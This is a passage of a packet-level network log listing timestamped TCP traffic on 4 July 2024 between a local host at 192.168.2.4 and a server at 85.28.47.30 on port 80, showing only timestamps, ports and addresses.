Jul 4, 2024 20:34:05.664021969 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664038897 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664043903 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.664051056 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664062023 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664066076 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.664072037 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664083004 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664093971 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.664112091 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.664120913 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.664133072 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664144039 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664154053 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664165020 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664176941 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664186954 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664196968 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664196968 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.664222956 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.664248943 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.664251089 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664263010 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664273024 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664294958 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664305925 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664307117 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.664315939 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664326906 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664339066 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.664371967 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.664479017 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664496899 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664508104 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664516926 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664527893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664537907 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664541960 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.664547920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664558887 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664562941 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.664582014 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.664597988 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.664622068 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664633989 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664674044 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664685011 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664695024 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664697886 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.664705992 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664726973 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.664750099 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.664783955 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664794922 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664804935 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664815903 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664827108 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664836884 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664845943 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664860010 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.664881945 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.664908886 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664921999 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664932013 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664942026 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664953947 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.664957047 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664968014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664978027 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.664989948 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.665005922 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.665010929 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.665016890 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.665026903 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.665036917 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.665047884 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.665051937 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.665057898 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.665069103 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.665070057 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.665102959 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.665132046 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.756437063 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.756484985 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.756529093 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.756550074 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.756561041 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.756577015 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.756592989 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.756603003 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.756613016 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.756613970 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.756633043 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.756675959 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.756700993 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.756711006 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.756733894 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.756743908 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.756745100 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.756755114 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.756764889 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.756771088 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.756777048 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.756802082 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.756819010 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.756833076 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.756843090 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.756853104 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.756863117 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.756875992 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.756876945 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.756889105 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.756899118 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.756908894 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.756927013 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.756942987 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.757061958 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757077932 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757087946 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757097960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757111073 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.757112980 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757123947 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757133961 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757143974 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757144928 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.757169962 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.757185936 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757190943 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.757199049 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757209063 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757225037 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.757236004 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757246971 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757257938 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757261038 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.757289886 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.757318974 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757318974 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.757328987 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757339001 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757349014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757369041 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.757399082 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.757559061 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757606030 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.757635117 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757646084 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757683039 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.757688999 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757698059 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757710934 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757721901 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757731915 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757740974 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.757760048 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757760048 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.757770061 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757780075 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757791042 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757792950 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.757828951 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.757862091 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757872105 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757880926 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.757909060 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.757924080 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.758002043 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758013010 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758022070 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758032084 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758047104 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758059025 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.758060932 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758070946 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758080959 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758089066 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.758115053 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.758127928 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.758145094 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758155107 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758166075 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758177996 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758188009 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758196115 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.758217096 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.758243084 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.758280993 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758292913 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758301020 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758311987 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758321047 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758331060 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758333921 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.758341074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758352041 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758361101 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758363008 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.758372068 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758383036 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758389950 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.758399963 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.758424997 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.758471012 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758486986 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758497000 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758522034 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758529902 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.758532047 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758539915 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.758543015 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758553982 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758577108 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.758596897 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.758618116 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758636951 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758649111 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758658886 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758666039 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.758670092 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758702040 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.758737087 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.758831978 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758841991 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758852005 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758862019 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758877039 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758884907 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.758889914 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758900881 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758912086 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758913040 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.758923054 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758932114 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.758933067 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758941889 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.758944988 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758959055 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758970022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.758977890 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.758980036 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.759007931 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.759020090 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.759037018 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.759048939 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.759057999 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.759068012 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.759077072 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.759082079 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.759088993 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.759118080 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.759131908 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.759239912 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.759289980 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.850392103 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.850423098 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.850461006 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.850481033 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.850498915 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.850517988 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.850519896 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.850543976 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.850543976 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.850543976 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.850555897 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.850559950 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.850560904 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.850574970 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.850606918 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.850625038 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.850631952 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.850651979 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.850666046 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.850671053 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.850687981 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.850709915 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.850717068 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.850728035 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.850744009 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.850763083 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.850766897 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.850790024 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.850792885 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.850811005 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.850816965 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.850836039 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.850841045 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.850852013 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.850862980 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.850881100 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.850893974 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.850914001 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.850941896 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.850944042 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.850965023 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.850986004 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.850989103 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851006031 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851008892 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851028919 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851037025 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851049900 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851059914 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851064920 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851088047 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851106882 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851108074 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851131916 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851140022 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851145029 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851167917 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851191044 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851191998 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851212025 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851227045 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851229906 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851248980 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851269960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851279020 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851288080 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851291895 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851309061 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851316929 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851329088 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851342916 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.851345062 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851360083 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851370096 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851375103 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851380110 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851385117 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851396084 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.851401091 CEST	80	49730	85.28.47.30	192.168.2.4
